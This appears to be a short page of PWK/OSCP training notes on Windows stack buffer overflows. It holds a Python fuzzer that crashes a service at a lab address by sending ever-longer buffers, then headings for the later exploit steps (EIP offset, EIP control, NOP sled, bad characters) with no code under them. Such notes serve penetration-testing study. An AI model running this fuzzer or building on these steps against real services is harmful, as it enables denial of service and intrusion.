Windows Bof
PWK scripts
#Fuzzer | Edit target as needed
import socket
import sys
from time import sleep
buffer = 'A' * 100
while True:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('192.168.56.1',9999))
s.recv(1024)
print '[*] Sending buffer with length: ' + str(len(buffer))
s.send(buffer + '\r\n')
s.close()
sleep(2)
buffer = buffer + 'A' * 100
except:
print '[*] Crash occurred at buffer length: ' + str(len(buffer)-100)
sys.exit()#Fuzzing directly with python from command line (fuzz adminhelper application)
#Replicating the crash
#Find the offset fo the EIP register
#pattern offset
#Controlling EIP
#Stretching systems like spandex | NOP sled Padding with 522 C's
#Finding Badchars :
#Badchars updated script
Last updated